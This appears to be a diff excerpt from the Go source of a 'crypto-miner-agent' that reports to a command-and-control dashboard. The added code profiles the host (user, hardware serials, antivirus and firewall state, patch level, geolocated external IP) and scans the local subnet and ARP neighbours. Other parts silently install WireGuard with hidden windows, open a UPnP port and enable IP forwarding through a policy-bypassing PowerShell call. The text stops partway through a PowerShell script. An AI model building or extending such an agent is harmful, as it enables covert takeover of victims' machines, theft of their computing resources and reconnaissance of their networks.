wgState = struct {
|
||||
sessionID string
|
||||
configPath string
|
||||
tunnelName string
|
||||
}{}
|
||||
}
|
||||
_, _ = deploy.CloseUPnP(wgUDPPort)
|
||||
log.Printf("[pathtracer] WireGuard tunnel torn down")
|
||||
}
|
||||
|
||||
// WGStatus returns the number of active WireGuard peers.
|
||||
func WGStatus() string {
|
||||
if wgState.tunnelName == "" {
|
||||
return "no active tunnel"
|
||||
}
|
||||
wgExe, err := ensureWGExe()
|
||||
if err != nil {
|
||||
return "tunnel active (wg.exe unavailable)"
|
||||
}
|
||||
cmd := exec.Command(wgExe, "show", wgState.tunnelName)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||
out, _ := cmd.CombinedOutput()
|
||||
return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
// ── helpers ──────────────────────────────────────────────────────────────────
|
||||
|
||||
func generateWGKeyPair() (privateB64, publicB64 string, err error) {
|
||||
var priv [32]byte
|
||||
if _, err = rand.Read(priv[:]); err != nil {
|
||||
return
|
||||
}
|
||||
// WireGuard Curve25519 key clamping.
|
||||
priv[0] &= 248
|
||||
priv[31] &= 127
|
||||
priv[31] |= 64
|
||||
|
||||
var pub [32]byte
|
||||
curve25519.ScalarBaseMult(&pub, &priv)
|
||||
|
||||
privateB64 = base64.StdEncoding.EncodeToString(priv[:])
|
||||
publicB64 = base64.StdEncoding.EncodeToString(pub[:])
|
||||
return
|
||||
}
|
||||
|
||||
func buildWGConfig(privKey string, p WGConfigPayload) string {
|
||||
port := p.ListenPort
|
||||
if port == 0 {
|
||||
port = wgUDPPort
|
||||
}
|
||||
var sb strings.Builder
|
||||
sb.WriteString("[Interface]\n")
|
||||
fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey)
|
||||
fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress)
|
||||
fmt.Fprintf(&sb, "ListenPort = %d\n", port)
|
||||
sb.WriteString("DNS = 1.1.1.1\n\n")
|
||||
for _, peer := range p.Peers {
|
||||
sb.WriteString("[Peer]\n")
|
||||
fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey)
|
||||
if peer.Endpoint != "" {
|
||||
fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint)
|
||||
}
|
||||
ai := peer.AllowedIPs
|
||||
if ai == "" {
|
||||
ai = "0.0.0.0/0"
|
||||
}
|
||||
fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai)
|
||||
ka := peer.PersistentKeepalive
|
||||
if ka == 0 {
|
||||
ka = 25
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka))
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func wgWorkDir() string {
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if base == "" {
|
||||
base = os.TempDir()
|
||||
}
|
||||
return filepath.Join(base, "PathTracer")
|
||||
}
|
||||
|
||||
// ensureWGExe returns the path to wireguard.exe, downloading if needed.
|
||||
func ensureWGExe() (string, error) {
|
||||
candidates := []string{
|
||||
`C:\Program Files\WireGuard\wireguard.exe`,
|
||||
`C:\Program Files (x86)\WireGuard\wireguard.exe`,
|
||||
filepath.Join(wgWorkDir(), "wireguard.exe"),
|
||||
}
|
||||
for _, p := range candidates {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
return downloadWireGuard()
|
||||
}
|
||||
|
||||
func downloadWireGuard() (string, error) {
|
||||
const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe"
|
||||
installDir := wgWorkDir()
|
||||
_ = os.MkdirAll(installDir, 0755)
|
||||
installerPath := filepath.Join(installDir, "wireguard-installer.exe")
|
||||
|
||||
resp, err := http.Get(dlURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("download wireguard: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data := make([]byte, 0, 8*1024*1024)
|
||||
buf := make([]byte, 32*1024)
|
||||
for {
|
||||
n, rerr := resp.Body.Read(buf)
|
||||
if n > 0 {
|
||||
data = append(data, buf[:n]...)
|
||||
}
|
||||
if rerr != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if err := os.WriteFile(installerPath, data, 0755); err != nil {
|
||||
return "", fmt.Errorf("write installer: %w", err)
|
||||
}
|
||||
|
||||
// Install silently.
|
||||
if err := runHidden(installerPath, "/S"); err != nil {
|
||||
return "", fmt.Errorf("wireguard install: %w", err)
|
||||
}
|
||||
|
||||
wgExe := `C:\Program Files\WireGuard\wireguard.exe`
|
||||
if _, err := os.Stat(wgExe); err != nil {
|
||||
return "", fmt.Errorf("wireguard.exe not found after install")
|
||||
}
|
||||
return wgExe, nil
|
||||
}
|
||||
|
||||
func enableIPForwarding() error {
|
||||
script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue`
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
|
||||
"-WindowStyle", "Hidden", "-Command", script)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func runHidden(name string, args ...string) error {
|
||||
cmd := exec.Command(name, args...)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result.
|
||||
func WGSetupJSON() string {
|
||||
res := WGSetup()
|
||||
b, _ := json.Marshal(res)
|
||||
return string(b)
|
||||
}
|
||||
@@ -49,17 +49,6 @@ type AuthResponse struct {
|
||||
Error string `json:"error"`
|
||||
}
|
||||
|
||||
type Job struct {
|
||||
ID string `json:"job_id"`
|
||||
Height int64 `json:"height"`
|
||||
BlockTemplate string `json:"blocktemplate"`
|
||||
Difficulty int64 `json:"difficulty"`
|
||||
SeedHash string `json:"seed_hash"`
|
||||
Target string `json:"target"`
|
||||
Blob string `json:"blob"`
|
||||
Algo string `json:"algo"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
JobID string `json:"job_id"`
|
||||
Nonce string `json:"nonce"`
|
||||
|
||||
@@ -3,6 +3,8 @@ package client
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/job"
|
||||
)
|
||||
|
||||
func roundTrip(t *testing.T, v any, dst any) {
|
||||
@@ -53,9 +55,9 @@ func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestJobJSONRoundTrip(t *testing.T) {
|
||||
in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
|
||||
in := job.Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
|
||||
SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
|
||||
var out Job
|
||||
var out job.Job
|
||||
roundTrip(t, in, &out)
|
||||
if out.ID != "j1" || out.Blob != "blob" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
|
||||
106
agent/client/syscheck.go
Normal file
106
agent/client/syscheck.go
Normal file
@@ -0,0 +1,106 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const syscheckRawMax = 12000
|
||||
|
||||
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
|
||||
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
|
||||
r := &FullSysCheckReport{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Platform: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
WorkerName: cfg.WorkerName,
|
||||
BuildID: cfg.BuildID,
|
||||
AgentID: agentID,
|
||||
Network: &SysCheckNetwork{},
|
||||
Neighbors: &SysCheckNeighbors{},
|
||||
}
|
||||
|
||||
if host, err := os.Hostname(); err == nil {
|
||||
r.Hostname = host
|
||||
}
|
||||
|
||||
if p := collectPosture(); p != nil {
|
||||
r.Security = securityFromPosture(p)
|
||||
if p.AgentElevated != nil {
|
||||
r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
|
||||
}
|
||||
}
|
||||
r.Patch = collectPatchStatus()
|
||||
r.ListenPorts = collectListenPorts()
|
||||
r.Resources = collectResourcePressure()
|
||||
|
||||
if dns := probeDNS(); dns != nil {
|
||||
r.Network.DNS = dns
|
||||
}
|
||||
r.Network.Interfaces = listNetInterfaces()
|
||||
if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
|
||||
r.Network.PrimaryLocalIP = lip
|
||||
}
|
||||
extIP, src := fetchExternalIP()
|
||||
r.Network.ExternalIP = extIP
|
||||
r.Network.ExternalIPSource = src
|
||||
if extIP != "" {
|
||||
r.Network.Geo = fetchGeo(extIP)
|
||||
}
|
||||
|
||||
arp := deploy.ArpNeighborIPs()
|
||||
r.Neighbors.ArpHosts = arp
|
||||
r.Neighbors.ArpCount = len(arp)
|
||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56)
|
||||
|
||||
collectSysCheckPlatform(r)
|
||||
|
||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
}
|
||||
r.Environment.InstallDir = dir
|
||||
}
|
||||
|
||||
r.RawSysinfo = truncateRaw(captureRawSysinfo())
|
||||
r.RawIPConfig = truncateRaw(captureRawIPConfig())
|
||||
r.RawNetstat = truncateRaw(captureRawNetstat())
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func truncateRaw(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if len(s) <= syscheckRawMax {
|
||||
return s
|
||||
}
|
||||
return s[:syscheckRawMax] + "\n…[truncated]"
|
||||
}
|
||||
|
||||
func captureRawSysinfo() string {
|
||||
_, _, msg := platformReconStatic("sysinfo", "")
|
||||
return msg
|
||||
}
|
||||
|
||||
func captureRawIPConfig() string {
|
||||
_, _, msg := platformReconStatic("ipconfig", "")
|
||||
return msg
|
||||
}
|
||||
|
||||
func captureRawNetstat() string {
|
||||
_, _, msg := platformReconStatic("netstat", "")
|
||||
return msg
|
||||
}
|
||||
|
||||
// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
|
||||
func platformReconStatic(action, command string) (bool, bool, string) {
|
||||
// Minimal stub client-free path: duplicate switch via temp
|
||||
ac := &AgentClient{}
|
||||
return ac.platformRecon(action, command)
|
||||
}
|
||||
131
agent/client/syscheck_net.go
Normal file
131
agent/client/syscheck_net.go
Normal file
@@ -0,0 +1,131 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func listNetInterfaces() []SysCheckInterface {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var out []SysCheckInterface
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp == 0 {
|
||||
continue
|
||||
}
|
||||
entry := SysCheckInterface{Name: iface.Name}
|
||||
if mac := iface.HardwareAddr.String(); mac != "" {
|
||||
entry.MAC = mac
|
||||
}
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, a := range addrs {
|
||||
switch v := a.(type) {
|
||||
case *net.IPNet:
|
||||
if ip4 := v.IP.To4(); ip4 != nil {
|
||||
entry.IPv4 = append(entry.IPv4, fmt.Sprintf("%s/%d", ip4.String(), ones(v.Mask)))
|
||||
} else if v.IP != nil && v.IP.To4() == nil {
|
||||
entry.IPv6 = append(entry.IPv6, v.IP.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(entry.IPv4) > 0 || len(entry.IPv6) > 0 || entry.MAC != "" {
|
||||
out = append(out, entry)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func ones(mask net.IPMask) int {
|
||||
n, _ := mask.Size()
|
||||
return n
|
||||
}
|
||||
|
||||
func fetchExternalIP() (ip, source string) {
|
||||
client := &http.Client{Timeout: 6 * time.Second}
|
||||
services := []struct {
|
||||
url string
|
||||
source string
|
||||
}{
|
||||
{"https://api.ipify.org", "ipify"},
|
||||
{"https://icanhazip.com", "icanhazip"},
|
||||
{"https://ifconfig.me/ip", "ifconfig.me"},
|
||||
}
|
||||
for _, svc := range services {
|
||||
resp, err := client.Get(svc.url)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 64))
|
||||
resp.Body.Close()
|
||||
if err != nil || resp.StatusCode != http.StatusOK {
|
||||
continue
|
||||
}
|
||||
candidate := strings.TrimSpace(string(body))
|
||||
if parsed := net.ParseIP(candidate); parsed != nil && parsed.To4() != nil {
|
||||
return candidate, svc.source
|
||||
}
|
||||
}
|
||||
if wan, err := deploy.GetPublicEndpoint(); err == nil && wan != "" {
|
||||
return wan, "upnp"
|
||||
}
|
||||
return "", ""
|
||||
}
|
||||
|
||||
func fetchGeo(ip string) *SysCheckGeo {
|
||||
if ip == "" {
|
||||
return nil
|
||||
}
|
||||
url := fmt.Sprintf("http://ip-api.com/json/%s?fields=status,message,query,country,regionName,city,lat,lon,isp,org", ip)
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var m map[string]interface{}
|
||||
if json.Unmarshal(data, &m) != nil {
|
||||
return nil
|
||||
}
|
||||
if s, _ := m["status"].(string); s != "success" {
|
||||
return nil
|
||||
}
|
||||
g := &SysCheckGeo{Query: ip}
|
||||
if v, ok := m["country"].(string); ok {
|
||||
g.Country = v
|
||||
}
|
||||
if v, ok := m["regionName"].(string); ok {
|
||||
g.Region = v
|
||||
}
|
||||
if v, ok := m["city"].(string); ok {
|
||||
g.City = v
|
||||
}
|
||||
if v, ok := m["isp"].(string); ok {
|
||||
g.ISP = v
|
||||
}
|
||||
if v, ok := m["org"].(string); ok {
|
||||
g.Org = v
|
||||
}
|
||||
if v, ok := m["lat"].(float64); ok {
|
||||
g.Lat = v
|
||||
}
|
||||
if v, ok := m["lon"].(float64); ok {
|
||||
g.Lon = v
|
||||
}
|
||||
return g
|
||||
}
|
||||
158
agent/client/syscheck_types.go
Normal file
158
agent/client/syscheck_types.go
Normal file
@@ -0,0 +1,158 @@
|
||||
package client
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
// FullSysCheckReport is returned by the full_sys_check command (read-only recon).
|
||||
type FullSysCheckReport struct {
|
||||
GeneratedAt string `json:"generated_at"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
WorkerName string `json:"worker_name,omitempty"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
|
||||
Identity *SysCheckIdentity `json:"identity,omitempty"`
|
||||
Hardware *SysCheckHardware `json:"hardware,omitempty"`
|
||||
Security *SysCheckSecurity `json:"security,omitempty"`
|
||||
Network *SysCheckNetwork `json:"network,omitempty"`
|
||||
Resources *ResourcePressure `json:"resources,omitempty"`
|
||||
ListenPorts *ListenPortsReport `json:"listen_ports,omitempty"`
|
||||
Patch *PatchStatusReport `json:"patch,omitempty"`
|
||||
Environment *SysCheckEnvironment `json:"environment,omitempty"`
|
||||
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
|
||||
|
||||
RawSysinfo string `json:"raw_sysinfo,omitempty"`
|
||||
RawIPConfig string `json:"raw_ipconfig,omitempty"`
|
||||
RawNetstat string `json:"raw_netstat,omitempty"`
|
||||
ProbeErrors []string `json:"probe_errors,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckIdentity struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Domain string `json:"domain,omitempty"`
|
||||
ComputerName string `json:"computer_name,omitempty"`
|
||||
AgentElevated bool `json:"agent_elevated,omitempty"`
|
||||
MACAddress string `json:"mac_address,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckHardware struct {
|
||||
Manufacturer string `json:"manufacturer,omitempty"`
|
||||
Model string `json:"model,omitempty"`
|
||||
Serial string `json:"serial,omitempty"`
|
||||
BIOSVersion string `json:"bios_version,omitempty"`
|
||||
CPUs []SysCheckCPU `json:"cpus,omitempty"`
|
||||
MemoryGB float64 `json:"memory_gb,omitempty"`
|
||||
GPUs []SysCheckGPU `json:"gpus,omitempty"`
|
||||
Disks []SysCheckDisk `json:"disks,omitempty"`
|
||||
UptimeHours float64 `json:"uptime_hours,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckCPU struct {
|
||||
Name string `json:"name,omitempty"`
|
||||
Cores int `json:"cores,omitempty"`
|
||||
Logical int `json:"logical,omitempty"`
|
||||
MaxMHz int `json:"max_mhz,omitempty"`
|
||||
CurrentMHz int `json:"current_mhz,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckGPU struct {
|
||||
Name string `json:"name,omitempty"`
|
||||
Driver string `json:"driver,omitempty"`
|
||||
VRAM_MB int `json:"vram_mb,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckDisk struct {
|
||||
Mount string `json:"mount,omitempty"`
|
||||
Label string `json:"label,omitempty"`
|
||||
FSType string `json:"fs_type,omitempty"`
|
||||
TotalGB float64 `json:"total_gb,omitempty"`
|
||||
FreeGB float64 `json:"free_gb,omitempty"`
|
||||
FreePct int `json:"free_pct,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckSecurity struct {
|
||||
PostureScore int `json:"posture_score,omitempty"`
|
||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
||||
AVProducts []string `json:"av_products,omitempty"`
|
||||
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
||||
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
||||
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
||||
SSHListening *bool `json:"ssh_listening,omitempty"`
|
||||
PendingUpdates *int `json:"pending_updates,omitempty"`
|
||||
LastPatch *string `json:"last_patch,omitempty"`
|
||||
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
Services []ServiceStatus `json:"services,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckNetwork struct {
|
||||
PrimaryLocalIP string `json:"primary_local_ip,omitempty"`
|
||||
ExternalIP string `json:"external_ip,omitempty"`
|
||||
ExternalIPSource string `json:"external_ip_source,omitempty"`
|
||||
Geo *SysCheckGeo `json:"geo,omitempty"`
|
||||
DNS *DNSConfig `json:"dns,omitempty"`
|
||||
Interfaces []SysCheckInterface `json:"interfaces,omitempty"`
|
||||
DefaultGateway string `json:"default_gateway,omitempty"`
|
||||
RoutesSummary string `json:"routes_summary,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckGeo struct {
|
||||
Query string `json:"query,omitempty"`
|
||||
Country string `json:"country,omitempty"`
|
||||
Region string `json:"region,omitempty"`
|
||||
City string `json:"city,omitempty"`
|
||||
ISP string `json:"isp,omitempty"`
|
||||
Org string `json:"org,omitempty"`
|
||||
Lat float64 `json:"lat,omitempty"`
|
||||
Lon float64 `json:"lon,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckInterface struct {
|
||||
Name string `json:"name,omitempty"`
|
||||
MAC string `json:"mac,omitempty"`
|
||||
IPv4 []string `json:"ipv4,omitempty"`
|
||||
IPv6 []string `json:"ipv6,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckEnvironment struct {
|
||||
Timezone string `json:"timezone,omitempty"`
|
||||
Locale string `json:"locale,omitempty"`
|
||||
HomeDir string `json:"home_dir,omitempty"`
|
||||
TempDir string `json:"temp_dir,omitempty"`
|
||||
InstallDir string `json:"install_dir,omitempty"`
|
||||
}
|
||||
|
||||
type SysCheckNeighbors struct {
|
||||
ArpHosts []string `json:"arp_hosts,omitempty"`
|
||||
SubnetScan string `json:"subnet_scan,omitempty"`
|
||||
ArpCount int `json:"arp_count,omitempty"`
|
||||
}
|
||||
|
||||
func (r *FullSysCheckReport) JSON() string {
|
||||
b, _ := json.Marshal(r)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func securityFromPosture(p *PostureReport) *SysCheckSecurity {
|
||||
if p == nil {
|
||||
return nil
|
||||
}
|
||||
return &SysCheckSecurity{
|
||||
PostureScore: p.PostureScore,
|
||||
DefenderEnabled: p.DefenderEnabled,
|
||||
DefenderRTP: p.DefenderRTP,
|
||||
AVProducts: p.AVProducts,
|
||||
FirewallDomain: p.FirewallDomain,
|
||||
FirewallPrivate: p.FirewallPrivate,
|
||||
FirewallPublic: p.FirewallPublic,
|
||||
SSHListening: p.SSHListening,
|
||||
PendingUpdates: p.PendingUpdates,
|
||||
LastPatch: p.LastPatch,
|
||||
LastPatchDays: p.LastPatchDays,
|
||||
RebootPending: p.RebootPending,
|
||||
Services: p.Services,
|
||||
}
|
||||
}
|
||||
138
agent/client/syscheck_unix.go
Normal file
138
agent/client/syscheck_unix.go
Normal file
@@ -0,0 +1,138 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func collectSysCheckPlatform(r *FullSysCheckReport) {
|
||||
hw := &SysCheckHardware{}
|
||||
|
||||
if out, err := exec.Command("uname", "-a").CombinedOutput(); err == nil {
|
||||
parts := strings.Fields(string(out))
|
||||
if len(parts) >= 3 {
|
||||
hw.Manufacturer = parts[2]
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS == "darwin" {
|
||||
if out, err := exec.Command("sysctl", "-n", "hw.model").CombinedOutput(); err == nil {
|
||||
hw.Model = strings.TrimSpace(string(out))
|
||||
}
|
||||
if out, err := exec.Command("sysctl", "-n", "hw.memsize").CombinedOutput(); err == nil {
|
||||
if n, err := strconv.ParseInt(strings.TrimSpace(string(out)), 10, 64); err == nil {
|
||||
hw.MemoryGB = float64(n) / (1024 * 1024 * 1024)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if out, err := exec.Command("sh", "-c", "grep -m1 'model name' /proc/cpuinfo | cut -d: -f2").CombinedOutput(); err == nil {
|
||||
hw.CPUs = []SysCheckCPU{{Name: strings.TrimSpace(string(out))}}
|
||||
}
|
||||
if out, err := exec.Command("sh", "-c", "grep -c ^processor /proc/cpuinfo").CombinedOutput(); err == nil {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && len(hw.CPUs) > 0 {
|
||||
hw.CPUs[0].Logical = n
|
||||
}
|
||||
}
|
||||
if out, err := exec.Command("free", "-b").CombinedOutput(); err == nil {
|
||||
lines := strings.Split(string(out), "\n")
|
||||
if len(lines) > 1 {
|
||||
fields := strings.Fields(lines[1])
|
||||
if len(fields) >= 2 {
|
||||
if total, err := strconv.ParseInt(fields[1], 10, 64); err == nil {
|
||||
hw.MemoryGB = float64(total) / (1024 * 1024 * 1024)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if out, err := exec.Command("df", "-h").CombinedOutput(); err == nil {
|
||||
hw.Disks = parseDfOutput(string(out))
|
||||
}
|
||||
|
||||
if out, err := exec.Command("sh", "-c", "cat /proc/uptime 2>/dev/null || sysctl -n kern.boottime 2>/dev/null").CombinedOutput(); err == nil {
|
||||
fields := strings.Fields(string(out))
|
||||
if len(fields) > 0 {
|
||||
if sec, err := strconv.ParseFloat(fields[0], 64); err == nil {
|
||||
hw.UptimeHours = sec / 3600
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
r.Hardware = hw
|
||||
|
||||
if r.Identity == nil {
|
||||
r.Identity = &SysCheckIdentity{}
|
||||
}
|
||||
if u, err := user.Current(); err == nil {
|
||||
r.Identity.Username = u.Username
|
||||
}
|
||||
r.Identity.MACAddress = primaryMACAddress()
|
||||
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
}
|
||||
r.Environment.HomeDir = os.Getenv("HOME")
|
||||
r.Environment.TempDir = os.Getenv("TMPDIR")
|
||||
if r.Environment.TempDir == "" {
|
||||
r.Environment.TempDir = "/tmp"
|
||||
}
|
||||
|
||||
if r.Network == nil {
|
||||
r.Network = &SysCheckNetwork{}
|
||||
}
|
||||
if out, err := exec.Command("sh", "-c", "ip route show default 2>/dev/null || route -n get default 2>/dev/null").CombinedOutput(); err == nil {
|
||||
r.Network.RoutesSummary = strings.TrimSpace(string(out))
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
if strings.Contains(line, "via") || strings.Contains(line, "gateway:") {
|
||||
fields := strings.Fields(line)
|
||||
for i, f := range fields {
|
||||
if f == "via" && i+1 < len(fields) {
|
||||
r.Network.DefaultGateway = fields[i+1]
|
||||
break
|
||||
}
|
||||
if strings.HasPrefix(f, "gateway:") {
|
||||
r.Network.DefaultGateway = strings.TrimPrefix(f, "gateway:")
|
||||
break
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func parseDfOutput(raw string) []SysCheckDisk {
|
||||
var disks []SysCheckDisk
|
||||
for _, line := range strings.Split(raw, "\n")[1:] {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 6 {
|
||||
continue
|
||||
}
|
||||
mount := fields[len(fields)-1]
|
||||
disks = append(disks, SysCheckDisk{
|
||||
Mount: mount,
|
||||
FSType: fields[0],
|
||||
TotalGB: parseSizeGB(fields[1]),
|
||||
FreeGB: parseSizeGB(fields[3]),
|
||||
})
|
||||
}
|
||||
return disks
|
||||
}
|
||||
|
||||
func parseSizeGB(s string) float64 {
|
||||
s = strings.TrimSuffix(s, "G")
|
||||
s = strings.TrimSuffix(s, "T")
|
||||
s = strings.TrimSuffix(s, "M")
|
||||
f, _ := strconv.ParseFloat(s, 64)
|
||||
if strings.HasSuffix(s, "T") {
|
||||
return f * 1024
|
||||
}
|
||||
return f
|
||||
}
|
||||
264
agent/client/syscheck_windows.go
Normal file
264
agent/client/syscheck_windows.go
Normal file
@@ -0,0 +1,264 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"os/user"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const sysCheckWindowsScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$o = [ordered]@{}
|
||||
|
||||
# Identity
|
||||
try {
|
||||
$cs = Get-CimInstance Win32_ComputerSystem
|
||||
$o.manufacturer = $cs.Manufacturer
|
||||
$o.model = $cs.Model
|
||||
$o.domain = $cs.Domain
|
||||
$o.computer_name = $env:COMPUTERNAME
|
||||
$o.total_ram_gb = [math]::Round($cs.TotalPhysicalMemory / 1GB, 2)
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$bios = Get-CimInstance Win32_BIOS
|
||||
$o.serial = $bios.SerialNumber
|
||||
$o.bios_version = $bios.SMBIOSBIOSVersion
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$o.cpus = @(Get-CimInstance Win32_Processor | ForEach-Object {
|
||||
[ordered]@{
|
||||
name = $_.Name
|
||||
cores = [int]$_.NumberOfCores
|
||||
logical = [int]$_.NumberOfLogicalProcessors
|
||||
max_mhz = [int]$_.MaxClockSpeed
|
||||
current_mhz = [int]$_.CurrentClockSpeed
|
||||
}
|
||||
})
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$o.gpus = @(Get-CimInstance Win32_VideoController | ForEach-Object {
|
||||
[ordered]@{
|
||||
name = $_.Name
|
||||
driver = $_.DriverVersion
|
||||
vram_mb = if ($_.AdapterRAM -and $_.AdapterRAM -gt 0) { [int]($_.AdapterRAM / 1MB) } else { 0 }
|
||||
}
|
||||
})
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$o.disks = @(Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object {
|
||||
$freePct = if ($_.Size -gt 0) { [int](($_.FreeSpace / $_.Size) * 100) } else { 0 }
|
||||
[ordered]@{
|
||||
mount = $_.DeviceID
|
||||
label = $_.VolumeName
|
||||
fs_type = $_.FileSystem
|
||||
total_gb = [math]::Round($_.Size / 1GB, 2)
|
||||
free_gb = [math]::Round($_.FreeSpace / 1GB, 2)
|
||||
free_pct = $freePct
|
||||
}
|
||||
})
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$os = Get-CimInstance Win32_OperatingSystem
|
||||
$o.uptime_hours = [math]::Round(((Get-Date) - $os.LastBootUpTime).TotalHours, 1)
|
||||
$o.timezone = (Get-TimeZone).Id
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$gw = Get-NetRoute -DestinationPrefix '0.0.0.0/0' -ErrorAction SilentlyContinue |
|
